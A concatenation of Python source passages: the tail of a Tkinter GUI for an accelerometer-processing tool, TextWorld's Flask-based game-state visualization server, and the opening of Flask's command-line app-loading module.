self.entry_3.bind('<KeyRelease>', self._e3_check) self.entry_4.bind('<KeyRelease>', self._e4_check) self.entry_5.bind('<KeyRelease>', self._e5_check) def _backspace(self, entry): cont = entry.get() entry.delete(0, Tk.END) entry.insert(0, cont[:-1]) def _e1_check(self, e): cont = self.entry_1.get() if len(cont) >= 4: self.entry_2.focus() if len(cont) > 4 or (len(cont)>0 and not cont[-1].isdigit()): self._backspace(self.entry_1) self.entry_1.focus() def _e2_check(self, e): cont = self.entry_2.get() if len(cont) >= 2: self.entry_3.focus() if len(cont) > 2 or (len(cont)>0 and not cont[-1].isdigit()): self._backspace(self.entry_2) self.entry_2.focus() def _e3_check(self, e): cont = self.entry_3.get() if len(cont) >= 2: self.entry_4.focus() if len(cont) > 2 or (len(cont)>0 and not cont[-1].isdigit()): self._backspace(self.entry_3) self.entry_3.focus() def _e4_check(self, e): cont = self.entry_4.get() if len(cont) >= 2: self.entry_5.focus() if len(cont) > 2 or (len(cont)>0 and not cont[-1].isdigit()): self._backspace(self.entry_4) self.entry_4.focus() def _e5_check(self, e): cont = self.entry_5.get() if len(cont) > 2 or (len(cont)>0 and not cont[-1].isdigit()): self._backspace(self.entry_5) def get(self): return self.entry_1.get()+"-"+self.entry_2.get()+"-"+self.entry_3.get()+"T"+self.entry_4.get()+":"+self.entry_5.get() class TkinterGUI(Tk.Frame): def __init__(self, root): Tk.Frame.__init__(self, root) root.title("Accelerometer Processing") # options for buttons pack_opts = {'fill': Tkconstants.BOTH, 'padx': 5, 'pady': 5} # to know if a file has been selected self.targetfile = "" # file to process self.pycommand = "" # either ActivitySummary.py or batchProcess.py self.isexecuting = False # are we running a shell process? self.threads = [] # keep track of threads so we can stop them self.target_opts = { 'filename': Tk.StringVar(), # we use stringVar so we can monitor for changes 'dirname': Tk.StringVar(), 'filenames': [], # for multiple file selections, unused due to dodgy Tkinter support 'target_type': Tk.StringVar(), 'file_list': [], 'file_opts': { 'filetypes': [('all files', '.*'), ('CWA files', '.cwa')], 'parent':root, 'title': 'Select a file to process' }, 'dir_opts': { 'mustexist': False, 'parent': root, 'title': 'Select a folder to process' } } # when either filename or dirname are changed, we use this callback to set the target_type refresh the display def target_callback(type): print "target_callback", type self.target_opts['target_type'].set(type) self.refreshFileList() self.generateFullCommand() self.target_opts['filename'].trace("w", lambda *args: target_callback('filename')) self.target_opts['dirname'].trace("w", lambda *args: target_callback('dirname')) # vargs are in format {'command': name of -command, 'varable': StringVar() for value, # 'default': if same as default it's unchanged, 'type': 'bool', 'string', 'int', or 'float' } # -[command] [variable].get() (only add if [variable] != [default]) self.vargs = [] # list of buttons that should be disabled when the processing has started self.inputs = [] self.advanced_frame = VerticalScrolledFrame(root) frame = Tk.Frame() # define buttons self.inputs.append( Tk.Button(frame, text='Choose file', command=lambda: self.target_opts['filename'].set( self.askopenfilename(initialFile=self.target_opts['filename'].get()) ), width=35)) self.inputs[-1].grid(row=0, column=0, padx=5, pady=15) # define options for opening or saving a file self.file_opt = { 'filetypes': [('all files', '.*'), ('CWA files', '.cwa')], 'parent': root, 'title': 'Select file to process' } # options['defaultextension'] = '.*'#'.cwa' # if you use the multiple file version of the module functions this option is set automatically. # options['multiple'] = 1 self.inputs.append( Tk.Button(frame, text='Choose directory', command=lambda: self.target_opts['dirname'].set( self.askdirectory(initialDir=self.target_opts['dirname'].get())), width=35)) self.inputs[-1].grid(row=0, column=1, padx=5, pady=5) # defining options for opening a directory self.dir_opt = { 'mustexist': False, 'parent': root, 'title': 'Select folder to process' } self.showAdvancedOptions = False self.advancedOptionsButton = Tk.Button(frame, text='Hide advanced Options', command=self.toggleAdvancedOptions, width=35) self.advancedOptionsButton.grid(row=0, column=2, padx=5, pady=5) self.textbox = Tk.Text(frame, height=10, width=70) self.textbox.insert('insert', "Please select a file or folder") self.textbox.grid(row=1, column=0, columnspan=3, sticky=Tkconstants.N,# + Tkconstants.E + Tkconstants.S + Tkconstants.W, padx=5, pady=5) frame.pack(expand=0, **pack_opts) # boolean options self.checkboxes = { 'skipCalibration': {'text': 'Skip calibration step', 'default': False}, 'verbose': {'text': 'Verbose mode', 'default': False}, 'deleteIntermediateFiles': {'text':'Delete intermediate files', 'default': True}, 'processRawFile': {'text': 'Process the raw (.cwa) file', 'default': True}, 'rawOutput': {'text': 'Raw 100Hz data to (.csv) file', 'default': False}, 'timeSeriesDateColumn': {'text': 'dateTime column', 'default': False} } frame = Tk.Frame(self.advanced_frame.interior) for key, value in self.checkboxes.iteritems(): value['type'] = 'bool' value['variable'] = Tk.IntVar() value['variable'].set(value['default']) self.vargs.append({ 'command': key, 'variable': value['variable'], 'default': value['default'], 'type': 'bool'}) self.inputs.append(Tk.Checkbutton(frame, text=value['text'], variable=value['variable'])) self.inputs[-1].pack(side='left',**pack_opts) # print {key: value['variable'].get() for (key, value) in self.checkboxes.iteritems()} frame.pack(fill=Tkconstants.NONE, padx=pack_opts['padx'], pady=pack_opts['pady']) # more complicated options, we will just pass them in as text for now (hoping the user will put anything silly) option_groups = { 'Calibration options': { 'calibrationOffset': {'text': 'Calibration offset', 'default': [0.0,0.0,0.0]}, 'calibrationSlope': {'text': 'Calibration slope linking offset to temperature', 'default': [1.0,1.0,1.0]}, 'calibrationTemperature': {'text': 'Mean temperature in degrees Celsius of stationary data for' ' calibration', 'default': [0.0,0.0,0.0]}, 'meanTemperature': {'text': 'Mean calibration temperature in degrees Celsius', 'default': 20.0} }, 'Java options': { 'javaHeapSpace': {'text': 'Amount of heap space allocated to the java subprocesses, useful for limiting' ' RAM usage (leave blank for no limit)', 'default': ''}, 'rawDataParser': {'text': 'Java (.class) file, which is used to process (.cwa) binary files', 'default': 'AxivityAx3Epochs'} }, 'Epoch options': { 'epochPeriod': {'text': 'Length in seconds of a single epoch', 'default': 5} }, 'Multi-threading options': { 'numWorkers': {'text': 'Number of processing threads to execute simultaneously (for multiple files)', 'default': 1} }, 'Start/end time options': { 'startTime': {'text': 'Start date in format 2016-04-08T17:10', 'default': ""}, 'endTime': {'text': 'End date in format 2016-04-08T17:10', 'default': ""} } } frame = Tk.Frame(self.advanced_frame.interior) for key, groups in option_groups.iteritems(): labelframe = Tk.LabelFrame(frame, text=key) for key, value in groups.iteritems(): if isinstance(value['default'], list): value['type'] = 'multi' elif isinstance(value['default'], str): value['type'] = 'string' elif isinstance(value['default'], int): value['type'] = 'int' else: value['type'] = 'float' # need to make these variables permanent since if they get garbage collected tkinter will fail rowFrame = Tk.Frame(labelframe) value['labelvar'] = Tk.StringVar() value['labelvar'].set(value['text']) value['label'] = Tk.Label(rowFrame, textvariable=value['labelvar'], width=50, wraplength=300) value['label'].pack(side='left') # print str(value['default']) value['variable'] = Tk.StringVar() value['variable'].set(self.formatargument(value['default'])) self.vargs.append({'command': key, 'variable': value['variable'], 'default': value['default'], 'type': value['type']}) self.inputs.append(Tk.Entry(rowFrame,textvariable=value['variable'],width=50)) self.inputs[-1].pack(side='right' , expand=1, fill=Tkconstants.X) rowFrame.pack(**pack_opts) labelframe.pack(**pack_opts) frame.pack() folder_params = { 'summaryFolder': {'text': 'Folder for summary output'}, 'nonWearFolder': {'text': 'Folder for non-wear time'}, 'epochFolder': {'text': 'Folder for epoch.json'}, 'stationaryFolder': {'text': 'Folder for stationary non-wear bouts'}, 'timeSeriesFolder': {'text': 'Folder for time series'} } # box for output folder options def chooseFolder(value): chosendir = self.askdirectory(initialDir=value.get()) if chosendir.find(" ") != -1: value.set('\"' + chosendir + '\"') else: value.set(chosendir) frame = Tk.Frame(self.advanced_frame.interior) labelframe = Tk.LabelFrame(frame, text="Folder options (default is same folder as input file)") for key, value in folder_params.iteritems(): rowFrame = Tk.Frame(labelframe) value['variable'] = Tk.StringVar() value['variable'].set("") value['variable'].trace('w', lambda *args: self.generateFullCommand()) self.vargs.append({'command': key, 'variable': value['variable'], 'default': '', 'type':'string'}) self.inputs.append(Tk.Entry(rowFrame,textvariable=value['variable'],width=50)) self.inputs[-1].pack(side='right', expand=1, fill= Tkconstants.X) value['label'] = Tk.Button(rowFrame, text=value['text'], command=lambda v=value['variable']: chooseFolder(v), width=50, wraplength=300) self.inputs.append(value['label']) value['label'].pack(side='left', padx=pack_opts['padx'], pady=pack_opts['pady']) rowFrame.pack(**pack_opts) labelframe.pack(**pack_opts) frame.pack() print "started" # Start button at bottom frame = Tk.Frame() self.startbutton = Tk.Button(frame, text='Start', width=35, command=self.start) self.startbutton.grid(row=0, column=0, padx=5, pady=5) Tk.Button(frame, text='Exit', width=35, command=lambda: self.quit()).grid(row=0, column=1, padx=5, pady=5) frame.pack() self.advanced_frame.pack(expand=1, fill="both") root.update() root.minsize(root.winfo_width(), 0) for obj in self.vargs: # lambda to generate scope -> forces obj (o) to stay the same obj['variable'].trace('w', lambda a,b,c, o=obj: self.changed(o)) def setCommand(self, name): """Set text in the textbox""" print name self.textbox.configure(state='normal') self.textbox.delete(1.0, 'end') self.textbox.insert('insert', name) # self.textbox.configure(state='disabled') def generateFullCommand(self): """Generates a commandline from the options given""" target_type = self.target_opts['target_type'].get() if len(target_type) == 0: self.setCommand("Please select a file or folder") return '' else: print target_type, len(target_type) target = self.target_opts[target_type].get() if target: # len(self.targetfile)>0 and len(self.pycommand)>0: # -u for unbuffered output (prevents hanging when reading stdout and stderr) if target.find(" ")!=-1: # if filename has a space in it add quotes so it's parsed correctly as only one argument cmdstr = "python -u ActivitySummary.py \"" + target + "\"" else: cmdstr = "python -u ActivitySummary.py " + target # if self.pycommand == "batchProcess.py": cmdstr += " " + self.targetfile for value in self.vargs: if 'argstr' in value: cmdstr += " " + value['argstr'] # if self.pycommand != "batchProcess.py": cmdstr += " " + self.targetfile self.setCommand(cmdstr) return cmdstr else: self.setCommand("Please select a file or folder") return '' def refreshFileList(self): if self.target_opts['target_type'].get() != 'dirname': print self.target_opts['target_type'].get() print 'no dir!' return # self.tab2.configure(state='enabled') dir = self.target_opts['dirname'].get() self.target_opts['file_list'] = [f for f in os.listdir(dir) if any([f.lower().endswith(ext) for ext in ['.cwa','.bin']])] # print self.target_opts['file_list'] # self.listbox.delete(0, Tkconstants.END) # for f in self.target_opts['file_list']: # self.listbox.insert(Tkconstants.END, f) def changed(self, obj): """Option button callback.""" print 'obj',obj # args = self.vargs[key] val_type = obj['type'] val = obj['variable'].get() print val_type, val, obj if val_type == 'bool' and val != obj['default']: print "bool not default" obj['argstr'] = '-' + obj['command'] + " " + ("True" if val else "False") elif val_type != 'bool' and val != self.formatargument(obj['default']): obj['argstr'] = '-' + obj['command'] + " " + val print "not default" else: print "is default" obj['argstr'] = '' self.generateFullCommand() def formatargument(self, value): if isinstance(value, list): return ' '.join(map(str, value)) else: return str(value) def askopenfilename(self, **args): """Returns a user-selected filename. Tries to return the 'initialfile' default if nothing selected """ print args if args['initialFile'] and len(args['initialFile'])>0: filename = tkFileDialog.askopenfilename(**self.file_opt) else: filename = tkFileDialog.askopenfilename(initialfile=args['initialFile'], **self.file_opt) if not filename: print "no filename returned" if args['initialFile']: return args['initialFile'] else: return '' else: print filename return filename def askdirectory(self, **args): """Returns a user-selected directory name. Tries to return the 'initialdir' default if nothing selected """ if args['initialDir'] and len(args['initialDir'])>0: dirname = tkFileDialog.askdirectory(initialdir = args['initialDir'], **self.dir_opt) else: dirname = tkFileDialog.askdirectory(**self.dir_opt) print dirname print args if not dirname: print "no directory name given" if args['initialDir']: return args['initialDir'] else: return '' else: print dirname return dirname def start(self): """Start button pressed""" if self.isexecuting: self.stop() else: # cmd_line = "ping 1.0.0.0 -n 10 -w 10" # cmd_line = self.textbox.get("1.0", Tkconstants.END) cmd_line = self.generateFullCommand() print "running: " + cmd_line self.textbox.insert("0.1", "running: ") p = subprocess.Popen(cmd_line, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1) self.isexecuting = True self.startbutton['text'] = "Stop" t = Thread(target=self.pollStdout, args=(p,)) t.daemon = True # thread dies with the program t.start() self.threads.append(p) self.enableInput(False) def stop(self): self.isexecuting = False while self.threads: p = self.threads.pop() t = Timer(10, p.terminate) t.start() # p.terminate()# .kill() print p self.startbutton['text'] = "Start" self.enableInput(True) def pollStdout(self, p): """Poll the process p until it finishes""" start = -1 # the time when the process returns (exits) while True: retcode = p.poll() # returns None while subprocess is running if start == -1 and retcode is not None: print "thread ended", time.time() self.textbox.insert(Tk.END, "\nprocess exited with code "+ str(retcode)) self.textbox.see(Tk.END) start = time.time() line = p.stdout.readline() if len(line) > 0: print line self.textbox.insert(Tk.END, "\n" + line.rstrip()) self.textbox.see(Tk.END) line = p.stderr.readline() if len(line) > 0: print line self.textbox.insert(Tk.END, "\nERROR: " + line.rstrip()) self.textbox.see(Tk.END) print "read a line" # we stop reading after 2s to give error messages a chance to display if start != -1 and time.time() > start + 2: print "actually finished", time.time() self.stop() return time.sleep(0.01) def enableInput(self, enable=True): state = "normal" if enable else "disabled" for i in self.inputs: i['state'] = state def toggleAdvancedOptions(self, forceValue=None): if forceValue is not None: self.showAdvancedOptions = forceValue else: self.showAdvancedOptions = not self.showAdvancedOptions if self.showAdvancedOptions: self.advancedOptionsButton.config(text="Show advanced options") self.advanced_frame.pack_forget() else: self.advancedOptionsButton.config(text="Hide advanced options") self.advanced_frame.pack(expand=1, fill="both") pass if __name__ == '__main__': root = Tk.Tk() TkinterGUI(root).pack() root.mainloop()
serve.py
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT license. """ Creates server for streamed game state """ import os import json from os.path import join as pjoin from multiprocessing import Process, Pipe from multiprocessing.connection import Connection from threading import Thread from queue import Queue import webbrowser import flask import gevent from gevent import pywsgi import logging from flask import Flask, request import pybars from textworld.core import GameState from textworld.render import load_state_from_game_state WEB_SERVER_RESOURCES = pjoin(os.path.abspath(os.path.dirname(__file__)), "tmpl") def get_html_template(game_state=None): # read in template compiler = pybars.Compiler() with open(pjoin(WEB_SERVER_RESOURCES, 'slideshow.handlebars'), 'r') as f: contents = f.read() template = compiler.compile(contents) if game_state is None: return template html = template({ 'game_state': game_state, 'template_path': WEB_SERVER_RESOURCES, }) return html class ServerSentEvent(object): def __init__(self, data: any): """ Object helper to parse dict into SSE data. :param data: data to pass to SSE """ self.data = data self.event = None self.id = None self.desc_map = { self.data: "data", self.event: "event", self.id: "id" } def encode(self): if not self.data: return "" lines = ["%s: %s" % (v, k) for k, v in self.desc_map.items() if k] return "%s\n\n" % "\n".join(lines) class SupressStdStreams(object): def __init__(self): """ for surpressing std.out streams """ self._null_fds = [os.open(os.devnull, os.O_RDWR) for _ in range(2)] self._save_fds = [os.dup(1), os.dup(2)] def __enter__(self): os.dup2(self._null_fds[0], 1) os.dup2(self._null_fds[1], 2) def __exit__(self, *_): os.dup2(self._save_fds[0], 1) os.dup2(self._save_fds[1], 2) for fd in self._null_fds + self._save_fds: os.close(fd) def find_free_port(port_range): import socket from contextlib import closing for port in port_range: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: try: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", port)) return s.getsockname()[1] except socket.error: continue raise ValueError("Could not find any available port.") class VisualizationService(object): """ Server for visualization. We instantiate a new process for our flask server, so our game can send updates to the server. The server instantiates new gevent Queues for every connection. """ def __init__(self, game_state: GameState, open_automatically: bool): self.prev_state = None self.command = None self._process = None state_dict = load_state_from_game_state(game_state) self._history = '<p class="objective-text">{}</p>'.format(game_state.objective.strip().replace("\n", "<br/>")) initial_description = game_state.feedback.replace(game_state.objective, "") self._history += '<p class="feedback-text">{}</p>'.format(initial_description.strip().replace("\n", "<br/>")) state_dict["history"] = self._history state_dict["command"] = "" self.parent_conn, self.child_conn = Pipe() self.game_state = state_dict self.open_automatically = open_automatically def start_server(self, game_state: dict, port: int, child_conn: Connection): """ function for starting new server on new process. :param game_state: initial game state from load :param port: port to run server :param child_conn: child connection from multiprocessing.Pipe """ server = Server(game_state, port) server.start(child_conn) def start(self, parent_thread: Thread, port: int) -> None: """ Start visualization server on a new process. :param parent_thread: the parent thread that called start. :param port: Port to run visualization on. """ def wait_task(): parent_thread.join() self.stop_server() # Check if address is available. self.port = find_free_port(range(port, port + 100)) self._process = Process(target=self.start_server, name='flask', args=(self.game_state, self.port, self.child_conn)) self._process.start() thread = Thread(target=wait_task, name='waiting_on_parent_exit') thread.start() print("Viewer started at http://localhost:{}.".format(self.port)) if self.open_automatically: with SupressStdStreams(): webbrowser.open("http://localhost:{}/".format(self.port)) def update_state(self, game_state: GameState, command: str): """ Propogate state update to server. We use a multiprocessing.Pipe to pass state into flask process. :param game_state: Glulx game state. :param command: previous command """ state_dict = load_state_from_game_state(game_state) self._history += '<p class="command-text">> {}</p>'.format(command) self._history += '<p class="feedback-text">{}</p>'.format(game_state.feedback.strip().replace("\n", "<br/>")) state_dict["command"] = command state_dict["history"] = self._history self.parent_conn.send(state_dict) def stop_server(self): self._process.terminate() class Server(object): """ Visualization server. Uses Server-sent Events to update game_state for visualization. """ def __init__(self, game_state: dict, port: int): """ Note: Flask routes are defined in app.add_url_rule in order to call `self` in routes. :param game_state: game state returned from load_state_from_game_state :param port: port to run visualization on """ super(Server, self).__init__() # disabling loggers log = logging.getLogger('werkzeug') log.disabled = True self.port = port self.results = Queue() self.subscribers = [] self.game_state = game_state self.app = Flask(__name__, static_folder=pjoin(WEB_SERVER_RESOURCES, 'static')) self.app.add_url_rule('/', 'index', self.index) self.app.add_url_rule('/subscribe', 'subscribe', self.subscribe) self.slideshow_template = get_html_template() def start(self, child_conn: Connection): """ Starts the WSGI server and listen for updates on a separate thread. :param child_conn: Child connection from `multiprocessing.Pipe`. """ thread = Thread(target=self.listen, name='updates', args=(child_conn, self.results)) thread.start() server = pywsgi.WSGIServer(("0.0.0.0", self.port), self.app, log=None) server.serve_forever() @staticmethod def listen(conn: Connection, results: Queue): """ Listener for updates. Runs on separate thread. :param conn: child connection from multiprocessing.Pipe. :param results: thread-safe queue for results. """ while True: game_state = conn.recv() results.put(game_state) def update_subscribers(self, game_state: dict): """ Updates all subscribers and updates their data. This is for multiple subscribers on the visualization service. :param game_state: parsed game_state from load_state_from_game_state """ def notify(): self.game_state = game_state if len(self.subscribers) == 0: print("We have no subscribers!") else: for q in self.subscribers[:]: q.put(game_state) gevent.spawn(notify) def index(self) -> str: """ Index route ("/"). Returns HTML template processed by handlebars. :return: Flask response object """ output = self.slideshow_template({ 'game_state': json.dumps(self.game_state), 'template_path': 'http://' + request.host }) resp = flask.Response(output.encode('utf-8')) resp.headers['Content-Type'] = 'text/html;charset=utf-8' return resp def gen(self): """ Our generator for listening for updating state. We poll for results to return us something. If nothing is returned then we just pass and keep polling. :return: yields event-stream parsed data. """ q = gevent.queue.Queue() self.subscribers.append(q) try: while True: self.update_subscribers(self.results.get_nowait()) result = q.get() ev = ServerSentEvent(json.dumps(result)) yield ev.encode() except Exception: pass def subscribe(self): """ Our Server-sent Event stream route. :return: A stream """ return flask.Response(self.gen(), mimetype='text/event-stream')
cli.py
import ast import inspect import os import platform import re import sys import traceback import warnings from functools import update_wrapper from operator import attrgetter from threading import Lock from threading import Thread import click from werkzeug.utils import import_string from .globals import current_app from .helpers import get_debug_flag from .helpers import get_env from .helpers import get_load_dotenv try: import dotenv except ImportError: dotenv = None try: import ssl except ImportError: ssl = None # type: ignore class NoAppException(click.UsageError): """Raised if an application cannot be found or loaded.""" def find_best_app(script_info, module): """Given a module instance this tries to find the best possible application in the module or raises an exception. """ from . import Flask # Search for the most common names first. for attr_name in ("app", "application"): app = getattr(module, attr_name, None) if isinstance(app, Flask): return app # Otherwise find the only object that is a Flask instance. matches = [v for v in module.__dict__.values() if isinstance(v, Flask)] if len(matches) == 1: return matches[0] elif len(matches) > 1: raise NoAppException( "Detected multiple Flask applications in module" f" {module.__name__!r}. Use 'FLASK_APP={module.__name__}:name'" f" to specify the correct one." ) # Search for app factory functions. for attr_name in ("create_app", "make_app"): app_factory = getattr(module, attr_name, None) if inspect.isfunction(app_factory): try: app = call_factory(script_info, app_factory) if isinstance(app, Flask): return app except TypeError: if not _called_with_wrong_args(app_factory): raise raise NoAppException( f"Detected factory {attr_name!r} in module {module.__name__!r}," " but could not call it without arguments. Use" f" \"FLASK_APP='{module.__name__}:{attr_name}(args)'\"" " to specify arguments." ) raise NoAppException( "Failed to find Flask application or factory in module" f" {module.__name__!r}. Use 'FLASK_APP={module.__name__}:name'" " to specify one." ) def call_factory(script_info, app_factory, args=None, kwargs=None): """Takes an app factory, a ``script_info` object and optionally a tuple of arguments. Checks for the existence of a script_info argument and calls the app_factory depending on that and the arguments provided. """ sig = inspect.signature(app_factory) args = [] if args is None else args kwargs = {} if kwargs is None else kwargs if "script_info" in sig.parameters: warnings.warn( "The 'script_info' argument is deprecated and will not be" " passed to the app factory function in Flask 2.1.", DeprecationWarning, ) kwargs["script_info"] = script_info if not args and len(sig.parameters) == 1: tmp = next(iter(sig.parameters.values())) if ( tmp.default is inspect.Parameter.empty and tmp.kind is not inspect.Parameter.VAR_KEYWORD ): warnings.warn( "Script info is deprecated and will not be passed as the" " single argument to the app factory function in Flask" " 2.1.", DeprecationWarning, ) args.append(script_info) return app_factory(*args, **kwargs) def _called_with_wrong_args(f): """Check whether calling a function raised a ``TypeError`` because the call failed or because something in the factory raised the error. :param f: The function that was called. :return: ``True`` if the call failed. """ tb = sys.exc_info()[2] try: while tb is not None: if tb.tb_frame.f_code is f.__code__: # In the function, it was called successfully. return False tb = tb.tb_next # Didn't reach the function. return True finally: # Delete tb to break a circular reference. # https://docs.python.org/2/library/sys.html#sys.exc_info del tb def find_app_by_string(script_info, module, app_name): """Check if the given string is a variable name or a function. Call a function to get the app instance, or return the variable directly. """ from . import Flask # Parse app_name as a single expression to determine if it's a valid # attribute name or function call. try: expr = ast.parse(app_name.strip(), mode="eval").body except SyntaxError: raise NoAppException( f"Failed to parse {app_name!r} as an attribute name or function call." ) if isinstance(expr, ast.Name): name = expr.id args = kwargs = None elif isinstance(expr, ast.Call): # Ensure the function name is an attribute name only. if not isinstance(expr.func, ast.Name): raise NoAppException( f"Function reference must be a simple name: {app_name!r}." ) name = expr.func.id # Parse the positional and keyword arguments as literals. try: args = [ast.literal_eval(arg) for arg in expr.args] kwargs = {kw.arg: ast.literal_eval(kw.value) for kw in expr.keywords} except ValueError: # literal_eval gives cryptic error messages, show a generic # message with the full expression instead. raise NoAppException( f"Failed to parse arguments as literal values: {app_name!r}." ) else: raise NoAppException( f"Failed to parse {app_name!r} as an attribute name or function call." ) try: attr = getattr(module, name) except AttributeError: raise NoAppException( f"Failed to find attribute {name!r} in {module.__name__!r}." ) # If the attribute is a function, call it with any args and kwargs # to get the real application. if inspect.isfunction(attr): try: app = call_factory(script_info, attr, args, kwargs) except TypeError: if not _called_with_wrong_args(attr): raise raise NoAppException( f"The factory {app_name!r} in module" f" {module.__name__!r} could not be called with the" " specified arguments." ) else: app = attr if isinstance(app, Flask): return app raise NoAppException( "A valid Flask application was not obtained from" f" '{module.__name__}:{app_name}'." ) def prepare_import(path): """Given a filename this will try to calculate the python path, add it to the search path and return the actual module name that is expected. """ path = os.path.realpath(path) fname, ext = os.path.splitext(path) if ext == ".py": path = fname if os.path.basename(path) == "__init__": path = os.path.dirname(path) module_name = [] # move up until outside package structure (no __init__.py) while True: path, name = os.path.split(path) module_name.append(name) if not os.path.exists(os.path.join(path, "__init__.py")): break if sys.path[0] != path: sys.path.insert(0, path) return ".".join(module_name[::-1]) def locate_app(script_info, module_name, app_name, raise_if_not_found=True): __traceback_hide__ = True # noqa: F841 try: __import__(module_name) except ImportError: # Reraise the ImportError if it occurred within the imported module. # Determine this by checking whether the trace has a depth > 1. if sys.exc_info()[2].tb_next: raise NoAppException( f"While importing {module_name!r}, an ImportError was" f" raised:\n\n{traceback.format_exc()}" ) elif raise_if_not_found: raise NoAppException(f"Could not import {module_name!r}.") else: return module = sys.modules[module_name] if app_name is None: return find_best_app(script_info, module) else: return find_app_by_string(script_info, module, app_name) def get_version(ctx, param, value): if not value or ctx.resilient_parsing: return import werkzeug from . import __version__ click.echo( f"Python {platform.python_version()}\n" f"Flask {__version__}\n" f"Werkzeug {werkzeug.__version__}", color=ctx.color, ) ctx.exit() version_option = click.Option( ["--version"], help="Show the flask version", expose_value=False, callback=get_version, is_flag=True, is_eager=True, ) class DispatchingApp: """Special application that dispatches to a Flask application which is imported by name in a background thread. If an error happens it is recorded and shown as part of the WSGI handling which in case of the Werkzeug debugger means that it shows up in the browser. """ def __init__(self, loader, use_eager_loading=None): self.loader = loader self._app = None self._lock = Lock() self._bg_loading_exc_info = None if use_eager_loading is None: use_eager_loading = os.environ.get("WERKZEUG_RUN_MAIN") != "true" if use_eager_loading: self._load_unlocked() else: self._load_in_background() def _load_in_background(self): def _load_app(): __traceback_hide__ = True # noqa: F841 with self._lock: try: self._load_unlocked() except Exception: self._bg_loading_exc_info = sys.exc_info() t = Thread(target=_load_app, args=()) t.start() def _flush_bg_loading_exception(self): __traceback_hide__ = True # noqa: F841 exc_info = self._bg_loading_exc_info if exc_info is not None: self._bg_loading_exc_info = None raise exc_info def _load_unlocked(self): __traceback_hide__ = True # noqa: F841 self._app = rv = self.loader() self._bg_loading_exc_info = None return rv def __call__(self, environ, start_response): __traceback_hide__ = True # noqa: F841 if self._app is not None: return self._app(environ, start_response) self._flush_bg_loading_exception() with self._lock: if self._app is not None: rv = self._app else: rv = self._load_unlocked() return rv(environ, start_response) class ScriptInfo: """Helper object to deal with Flask applications. This is usually not necessary to interface with as it's used internally in the dispatching to click. In future versions of Flask this object will most likely play a bigger role. Typically it's created automatically by the :class:`FlaskGroup` but you can also manually create it and pass it onwards as click object. """ def __init__(self, app_import_path=None, create_app=None, set_debug_flag=True): #: Optionally the import path for the Flask application. self.app_import_path = app_import_path or os.environ.get("FLASK_APP") #: Optionally a function that is passed the script info to create #: the instance of the application. self.create_app = create_app #: A dictionary with arbitrary data that can be associated with #: this script info. self.data = {} self.set_debug_flag = set_debug_flag self._loaded_app = None def load_app(self): """Loads the Flask app (if not yet loaded) and returns it. Calling this multiple times will just result in the already loaded app to be returned. """ __traceback_hide__ = True # noqa: F841 if self._loaded_app is not None: return self._loaded_app if self.create_app is not None: app = call_factory(self, self.create_app) else: if self.app_import_path: path, name = ( re.split(r":(?![\\/])", self.app_import_path, 1) + [None] )[:2] import_name = prepare_import(path) app = locate_app(self, import_name, name) else: for path in ("wsgi.py", "app.py"): import_name = prepare_import(path) app = locate_app(self, import_name, None, raise_if_not_found=False) if app: break if not app: raise NoAppException( "Could not locate a Flask application. You did not provide " 'the "FLASK_APP" environment variable, and a "wsgi.py" or ' '"app.py" module was not found in the current directory.' ) if self.set_debug_flag: # Update the app's debug flag through the descriptor so that # other values repopulate as well. app.debug = get_debug_flag() self._loaded_app = app return app pass_script_info = click.make_pass_decorator(ScriptInfo, ensure=True) def with_appcontext(f): """Wraps a callback so that it's guaranteed to be executed with the script's application context. If callbacks are registered directly to the ``app.cli`` object then they are wrapped with this function by default unless it's disabled. """ @click.pass_context def decorator(__ctx, *args, **kwargs): with __ctx.ensure_object(ScriptInfo).load_app().app_context(): return __ctx.invoke(f, *args, **kwargs) return update_wrapper(decorator, f) class AppGroup(click.Group): """This works similar to a regular click :class:`~click.Group` but it changes the behavior of the :meth:`command` decorator so that it automatically wraps the functions in :func:`with_appcontext`. Not to be confused with :class:`FlaskGroup`. """ def command(self, *args, **kwargs): """This works exactly like the method of the same name on a regular :class:`click.Group` but it wraps callbacks in :func:`with_appcontext` unless it's disabled by passing ``with_appcontext=False``. """ wrap_for_ctx = kwargs.pop("with_appcontext", True) def decorator(f): if wrap_for_ctx: f = with_appcontext(f) return click.Group.command(self, *args, **kwargs)(f) return decorator def group(self, *args, **kwargs): """This works exactly like the method of the same name on a regular :class:`click.Group` but it defaults the group class to :class:`AppGroup`. """ kwargs.setdefault("cls", AppGroup) return click.Group.group(self, *args, **kwargs) class FlaskGroup(AppGroup): """Special subclass of the :class:`AppGroup` group that supports loading more commands from the configured Flask app. Normally a developer does not have to interface with this class but there are some very advanced use cases for which it makes sense to create an instance of this. see :ref:`custom-scripts`. :param add_default_commands: if this is True then the default run and shell commands will be added. :param add_version_option: adds the ``--version`` option. :param create_app: an optional callback that is passed the script info and returns the loaded app. :param load_dotenv: Load the nearest :file:`.env` and :file:`.flaskenv` files to set environment variables. Will also change the working directory to the directory containing the first file found. :param set_debug_flag: Set the app's debug flag based on the active environment .. versionchanged:: 1.0 If installed, python-dotenv will be used to load environment variables from :file:`.env` and :file:`.flaskenv` files. """ def __init__( self, add_default_commands=True, create_app=None, add_version_option=True, load_dotenv=True, set_debug_flag=True, **extra, ): params = list(extra.pop("params", None) or ()) if add_version_option: params.append(version_option) AppGroup.__init__(self, params=params, **extra) self.create_app = create_app self.load_dotenv = load_dotenv self.set_debug_flag = set_debug_flag if add_default_commands: self.add_command(run_command) self.add_command(shell_command) self.add_command(routes_command) self._loaded_plugin_commands = False def _load_plugin_commands(self): if self._loaded_plugin_commands: return try: import pkg_resources except ImportError: self._loaded_plugin_commands = True return for ep in pkg_resources.iter_entry_points("flask.commands"): self.add_command(ep.load(), ep.name) self._loaded_plugin_commands = True def get_command(self, ctx, name): self._load_plugin_commands() # Look up built-in and plugin commands, which should be # available even if the app fails to load. rv = super().get_command(ctx, name) if rv is not None: return rv info = ctx.ensure_object(ScriptInfo) # Look up commands provided by the app, showing an error and # continuing if the app couldn't be loaded. try: return info.load_app().cli.get_command(ctx, name) except NoAppException as e: click.secho(f"Error: {e.format_message()}\n", err=True, fg="red") def list_commands(self, ctx): self._load_plugin_commands() # Start with the built-in and plugin commands. rv = set(super().list_commands(ctx)) info = ctx.ensure_object(ScriptInfo) # Add 